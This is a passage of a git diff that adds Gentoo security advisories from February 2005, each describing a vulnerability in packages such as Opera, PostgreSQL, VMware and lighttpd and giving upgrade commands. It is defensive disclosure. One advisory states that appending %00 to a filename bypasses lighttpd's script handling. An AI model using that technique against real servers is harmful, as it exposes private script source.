+    An attacker could cause a temporary Denial of Service by sending a
+    random stream of bytes to the PowerDNS Daemon.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PowerDNS users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-dns/pdns-2.9.17&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://doc.powerdns.com/changelog.html#CHANGELOG-2-9-17">PowerDNS Release Notes</uri>
+    <uri link="http://ds9a.nl/cgi-bin/cvstrac/pdns/tktview?tn=21">PowerDNS Ticket #21</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0428">CVE-2005-0428</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sun, 13 Feb 2005 17:12:23 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 13 Feb 2005 17:14:58 +0000">
+    vorlon078
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200502-16.xml b/xml/htdocs/security/en/glsa/glsa-200502-16.xml
new file mode 100644
index 00000000..4c45bb68
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200502-16.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200502-16">
+  <title>ht://Dig: Cross-site scripting vulnerability</title>
+  <synopsis>
+    ht://Dig is vulnerable to cross-site scripting attacks.
+  </synopsis>
+  <product type="ebuild">htdig</product>
+  <announced>February 13, 2005</announced>
+  <revised>February 13, 2005: 01</revised>
+  <bug>80602</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-misc/htdig" auto="yes" arch="*">
+      <unaffected range="ge">3.1.6-r7</unaffected>
+      <vulnerable range="lt">3.1.6-r7</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ht://Dig is an HTTP/HTML indexing and searching system.
+    </p>
+  </background>
+  <description>
+    <p>
+    Michael Krax discovered that ht://Dig fails to validate the
+    'config' parameter before displaying an error message containing the
+    parameter. This flaw could allow an attacker to conduct cross-site
+    scripting attacks.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    By sending a carefully crafted message, an attacker can inject and
+    execute script code in the victim's browser window. This allows to
+    modify the behaviour of ht://Dig, and/or leak session information such
+    as cookies to the attacker.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ht://Dig users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-misc/htdig-3.1.6-r7&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0085">CAN-2005-0085</uri>
+    <uri link="http://securitytracker.com/alerts/2005/Feb/1013078.html">SecurityTracker #1013078</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 13 Feb 2005 17:17:57 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 13 Feb 2005 17:19:04 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 13 Feb 2005 20:15:40 +0000">
+    lewk
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200502-17.xml b/xml/htdocs/security/en/glsa/glsa-200502-17.xml
new file mode 100644
index 00000000..6cbc7dae
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200502-17.xml
@@ -0,0 +1,85 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200502-17">
+  <title>Opera: Multiple vulnerabilities</title>
+  <synopsis>
+    Opera is vulnerable to several vulnerabilities which could result in
+    information disclosure and facilitate execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">Opera</product>
+  <announced>February 14, 2005</announced>
+  <revised>December 30, 2007: 03</revised>
+  <bug>73871</bug>
+  <bug>74076</bug>
+  <bug>74321</bug>
+  <bug>81747</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/opera" auto="yes" arch="*">
+      <unaffected range="ge">7.54-r3</unaffected>
+      <vulnerable range="lt">7.54-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Opera is a multi-platform web browser.
+    </p>
+  </background>
+  <description>
+    <p>
+    Opera contains several vulnerabilities:
+    </p>
+    <ul>
+    <li>fails to properly validate Content-Type and filename.</li>
+    <li>fails to properly validate date: URIs.</li>
+    <li>uses kfmclient exec as the Default Application to handle downloaded
+    files when integrated with KDE.</li>
+    <li>fails to properly control frames.</li>
+    <li>uses Sun Java packages insecurely.</li>
+    <li>searches an insecure path for plugins.</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could exploit these vulnerabilities to:
+    </p>
+    <ul>
+    <li>execute arbitrary code.</li>
+    <li>load a malicious frame in the context of another browser
+    session.</li>
+    <li>leak information.</li>
+    </ul>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Opera users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/opera-7.54-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.opera.com/linux/changelogs/754u1/">Opera Changelog for 7.54u1</uri>
+    <uri link="http://www.opera.com/linux/changelogs/754u2/">Opera Changelog for 7.54u2</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1157">CVE-2004-1157</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1489">CVE-2004-1489</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1490">CVE-2004-1490</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1491">CVE-2004-1491</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0456">CVE-2005-0456</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0457">CVE-2005-0457</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Thu, 10 Feb 2005 15:51:32 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 11 Feb 2005 11:21:17 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200502-18.xml b/xml/htdocs/security/en/glsa/glsa-200502-18.xml
new file mode 100644
index 00000000..4b586e11
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200502-18.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200502-18">
+  <title>VMware Workstation: Untrusted library search path</title>
+  <synopsis>
+    VMware may load shared libraries from an untrusted, world-writable
+    directory, resulting in the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">VMware</product>
+  <announced>February 14, 2005</announced>
+  <revised>May 25, 2006: 03</revised>
+  <bug>81344</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-emulation/vmware-workstation" auto="yes" arch="*">
+      <unaffected range="ge">4.5.2.8848-r5</unaffected>
+      <unaffected range="rge">3.2.1.2242-r4</unaffected>
+      <vulnerable range="lt">4.5.2.8848-r5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    VMware Workstation is a powerful virtual machine for developers and
+    system administrators.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tavis Ormandy of the Gentoo Linux Security Audit Team has discovered
+    that VMware Workstation searches for gdk-pixbuf loadable modules in an
+    untrusted, world-writable directory.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could create a malicious shared object that would be
+    loaded by VMware, resulting in the execution of arbitrary code with the
+    privileges of the user running VMware.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    The system administrator may create the file /tmp/rrdharan to prevent
+    malicious users from creating a directory at that location:
+    </p>
+    <code>
+    # touch /tmp/rrdharan</code>
+  </workaround>
+  <resolution>
+    <p>
+    All VMware Workstation users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-emulation/vmware-workstation-3.2.1.2242-r4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0444">CVE-2005-0444</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 12 Feb 2005 12:53:09 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 12 Feb 2005 12:53:31 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 13 Feb 2005 19:36:17 +0000">
+    taviso
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200502-19.xml b/xml/htdocs/security/en/glsa/glsa-200502-19.xml
new file mode 100644
index 00000000..1eb8528b
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200502-19.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200502-19">
+  <title>PostgreSQL: Buffer overflows in PL/PgSQL parser</title>
+  <synopsis>
+    PostgreSQL is vulnerable to several buffer overflows in the PL/PgSQL parser
+    leading to execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">postgresql</product>
+  <announced>February 14, 2005</announced>
+  <revised>June 26, 2007: 04</revised>
+  <bug>81350</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-db/postgresql" auto="yes" arch="*">
+      <unaffected range="eq">7.3*</unaffected>
+      <unaffected range="eq">7.4*</unaffected>
+      <unaffected range="ge">8.0.1-r1</unaffected>
+      <vulnerable range="lt">7.3.9-r1</vulnerable>
+      <vulnerable range="lt">7.4.13</vulnerable>
+      <vulnerable range="lt">8.0.1-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PostgreSQL is a SQL compliant, open source object-relational database
+    management system.
+    </p>
+  </background>
+  <description>
+    <p>
+    PostgreSQL is vulnerable to several buffer overflows in the PL/PgSQL
+    parser.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could send a malicious query resulting in the
+    execution of arbitrary code with the permissions of the user running
+    PostgreSQL.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PostgreSQL users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose dev-db/postgresql</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0247">CAN-2005-0247</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 11 Feb 2005 15:37:29 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 11 Feb 2005 20:39:12 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 14 Feb 2005 20:03:42 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200502-20.xml b/xml/htdocs/security/en/glsa/glsa-200502-20.xml
new file mode 100644
index 00000000..23356905
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200502-20.xml
@@ -0,0 +1,80 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200502-20">
+  <title>Emacs, XEmacs: Format string vulnerabilities in movemail</title>
+  <synopsis>
+    The movemail utility shipped with Emacs and XEmacs contains several format
+    string vulnerabilities, potentially leading to the execution of arbitrary
+    code.
+  </synopsis>
+  <product type="ebuild">Emacs</product>
+  <announced>February 15, 2005</announced>
+  <revised>July 23, 2006: 02</revised>
+  <bug>79686</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-editors/emacs" auto="yes" arch="*">
+      <unaffected range="ge">21.4</unaffected>
+      <unaffected range="lt">19</unaffected>
+      <vulnerable range="lt">21.4</vulnerable>
+    </package>
+    <package name="app-editors/xemacs" auto="yes" arch="*">
+      <unaffected range="ge">21.4.15-r3</unaffected>
+      <vulnerable range="lt">21.4.15-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    GNU Emacs and XEmacs are highly extensible and customizable text
+    editors. movemail is an Emacs utility that can fetch mail on remote
+    mail servers.
+    </p>
+  </background>
+  <description>
+    <p>
+    Max Vozeler discovered that the movemail utility contains several
+    format string errors.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could set up a malicious POP server and entice a user to
+    connect to it using movemail, resulting in the execution of arbitrary
+    code with the rights of the victim user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Emacs users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-editors/emacs-21.4&quot;</code>
+    <p>
+    All XEmacs users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-editors/xemacs-21.4.15-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0100">CAN-2005-0100</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 11 Feb 2005 15:36:27 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 15 Feb 2005 16:06:08 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 15 Feb 2005 16:06:17 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200502-21.xml b/xml/htdocs/security/en/glsa/glsa-200502-21.xml
new file mode 100644
index 00000000..dff9d18d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200502-21.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200502-21">
+  <title>lighttpd: Script source disclosure</title>
+  <synopsis>
+    An attacker can trick lighttpd into revealing the source of scripts that
+    should be executed as CGI or FastCGI applications.
+  </synopsis>
+  <product type="ebuild">lighttpd</product>
+  <announced>February 15, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>81776</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-servers/lighttpd" auto="yes" arch="*">
+      <unaffected range="ge">1.3.10-r1</unaffected>
+      <vulnerable range="lt">1.3.10-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    lighttpd is a small-footprint, fast, compliant and very flexible
+    web-server which is optimized for high-performance environments.
+    </p>
+  </background>
+  <description>
+    <p>
+    lighttpd uses file extensions to determine which elements are programs
+    that should be executed and which are static pages that should be sent
+    as-is. By appending %00 to the filename, you can evade the extension
+    detection mechanism while still accessing the file.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    A remote attacker could send specific queries and access the source of
+    scripts that should have been executed as CGI or FastCGI applications.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All lighttpd users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-servers/lighttpd-1.3.10-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://article.gmane.org/gmane.comp.web.lighttpd/1171">lighttpd-announce Advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0453">CVE-2005-0453</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 14 Feb 2005 12:34:31 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 14 Feb 2005 20:13:10 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 14 Feb 2005 20:53:12 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200502-22.xml b/xml/htdocs/security/en/glsa/glsa-200502-22.xml
new file mode 100644
index 00000000..e87ef06f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200502-22.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200502-22">
+  <title>wpa_supplicant: Buffer overflow vulnerability</title>
+  <synopsis>
+    wpa_supplicant contains a buffer overflow that could lead to a Denial of
+    Service.
+  </synopsis>
+  <product type="ebuild">wpa_supplicant</product>
+  <announced>February 16, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>81993</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-wireless/wpa_supplicant" auto="yes" arch="*">
+      <unaffected range="ge">0.2.7</unaffected>
+      <vulnerable range="lt">0.2.7</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    wpa_supplicant is a WPA Supplicant with support for WPA and WPA2 (IEEE
+    802.11i / RSN).
+    </p>
+  </background>
+  <description>
+    <p>
+    wpa_supplicant contains a possible buffer overflow due to the lacking
+    validation of received EAPOL-Key frames.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could cause the crash of wpa_supplicant using a specially
+    crafted packet.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All wpa_supplicant users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-wireless/wpa_supplicant-0.2.7&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://lists.shmoo.com/pipermail/hostap/2005-February/009465.html">wpa_supplicant Announcement</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0470">CVE-2005-0470</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 14 Feb 2005 18:34:56 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 14 Feb 2005 20:11:49 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 14 Feb 2005 21:06:18 +0000">
+    vorlon078
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200502-23.xml b/xml/htdocs/security/en/glsa/glsa-200502-23.xml
new file mode 100644
index 00000000..46356d48
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200502-23.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200502-23">
+  <title>KStars: Buffer overflow in fliccd</title>
+  <synopsis>
+    KStars is vulnerable to a buffer overflow that could lead to arbitrary code
+    execution with elevated privileges.
+  </synopsis>
+  <product type="ebuild">kstars</product>
+  <announced>February 16, 2005</announced>
+  <revised>February 16, 2005: 01</revised>
+  <bug>79585</bug>
+  <access>remote and local</access>
+  <affected>
+    <package name="kde-base/kdeedu" auto="yes" arch="*">
+      <unaffected range="ge">3.3.2-r1</unaffected>
+      <vulnerable range="lt">3.3.2-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    KDE is a feature-rich graphical desktop environment for Linux and
+    Unix-like Operating Systems. KStars is a desktop planetarium for KDE.
+    It includes support for the Instrument Neutral Distributed Interface
+    (INDI).
+    </p>
+  </background>
+  <description>
+    <p>
+    Erik Sjolund discovered a buffer overflow in fliccd which is part
+    of the INDI support in KStars.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker could exploit this vulnerability to execute code with
+    elevated privileges. If fliccd does not run as daemon remote
+    exploitation of this vulnerability is not possible. KDE as shipped by
+    Gentoo does not start the daemon in the default installation.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All KStars users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=kde-base/kdeedu-3.3.2-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0011">CAN-2005-0011</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 15 Feb 2005 06:01:05 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 16 Feb 2005 20:27:57 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200502-24.xml b/xml/htdocs/security/en/glsa/glsa-200502-24.xml
new file mode 100644
index 00000000..095031d9
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200502-24.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200502-24">
+  <title>Midnight Commander: Multiple vulnerabilities</title>
+  <synopsis>
+    Midnight Commander contains several format string errors, buffer overflows
+    and one buffer underflow leading to execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">mc</product>
+  <announced>February 17, 2005</announced>
+  <revised>February 17, 2005: 01</revised>
+  <bug>77992</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-misc/mc" auto="yes" arch="*">
+      <unaffected range="ge">4.6.0-r13</unaffected>
+      <vulnerable range="lt">4.6.0-r13</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Midnight Commander is a visual console file manager.
+    </p>
+  </background>
+  <description>
+    <p>
+    Midnight Commander contains several format string vulnerabilities
+    (CAN-2004-1004), buffer overflows (CAN-2004-1005), a memory
+    deallocation error (CAN-2004-1092) and a buffer underflow
+    (CAN-2004-1176).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could exploit these vulnerabilities to execute
+    arbitrary code with the permissions of the user running Midnight
+    Commander or cause Denial of Service by freeing unallocated memory.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Midnight Commander users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-misc/mc-4.6.0-r13&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1004">CAN-2004-1004</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1005">CAN-2004-1005</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1092">CAN-2004-1092</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1176">CAN-2004-1176</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 14 Feb 2005 20:35:43 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 15 Feb 2005 16:08:08 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 15 Feb 2005 20:09:31 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200502-25.xml b/xml/htdocs/security/en/glsa/glsa-200502-25.xml
new file mode 100644
index 00000000..eec272b0
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200502-25.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200502-25">
+  <title>Squid: Denial of Service through DNS responses</title>
+  <synopsis>
+    Squid contains a bug in the handling of certain DNS responses resulting in
+    a Denial of Service.
+  </synopsis>
+  <product type="ebuild">Squid</product>
+  <announced>February 18, 2005</announced>
+  <revised>February 18, 2005: 01</revised>
+  <bug>81997</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-proxy/squid" auto="yes" arch="*">
+      <unaffected range="ge">2.5.8</unaffected>
+      <vulnerable range="lt">2.5.8</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Squid is a full-featured Web proxy cache designed to run on
+    Unix-like systems. It supports proxying and caching of HTTP, FTP, and
+    other protocols, as well as SSL support, cache hierarchies, transparent
+    caching, access control lists and many other features.
+    </p>
+  </background>
+  <description>
+    <p>
+    Handling of certain DNS responses trigger assertion failures.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By returning a specially crafted DNS response an attacker could
+    cause Squid to crash by triggering an assertion failure.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Squid users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-proxy/squid-2.5.8&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0446">CAN-2005-0446</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 17 Feb 2005 20:33:19 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 17 Feb 2005 21:28:52 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 18 Feb 2005 09:26:51 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200502-26.xml b/xml/htdocs/security/en/glsa/glsa-200502-26.xml
new file mode 100644
index 00000000..ae2ae8e0
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200502-26.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200502-26">
+  <title>GProFTPD: gprostats format string vulnerability</title>
+  <synopsis>
+    gprostats, distributed with GProFTPD, is vulnerable to a format string
+    vulnerability, potentially leading to the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">GProFTPD</product>
+  <announced>February 18, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>81894</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-ftp/gproftpd" auto="yes" arch="*">
+      <unaffected range="ge">8.1.9</unaffected>
+      <vulnerable range="lt">8.1.9</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    GProFTPD is a GTK+ administration tool for the ProFTPD server. GProFTPD
+    is distributed with gprostats, a utility to parse ProFTPD transfer
+    logs.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tavis Ormandy of the Gentoo Linux Security Audit Team has identified a
+    format string vulnerability in the gprostats utility.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could exploit the vulnerability by performing a specially
+    crafted FTP transfer, the resulting ProFTPD transfer log could
+    potentially trigger the execution of arbitrary code when parsed by
+    GProFTPD.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All GProFTPD users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-ftp/gproftpd-8.1.9&quot;</code>
+  </resolution>
+  <references>
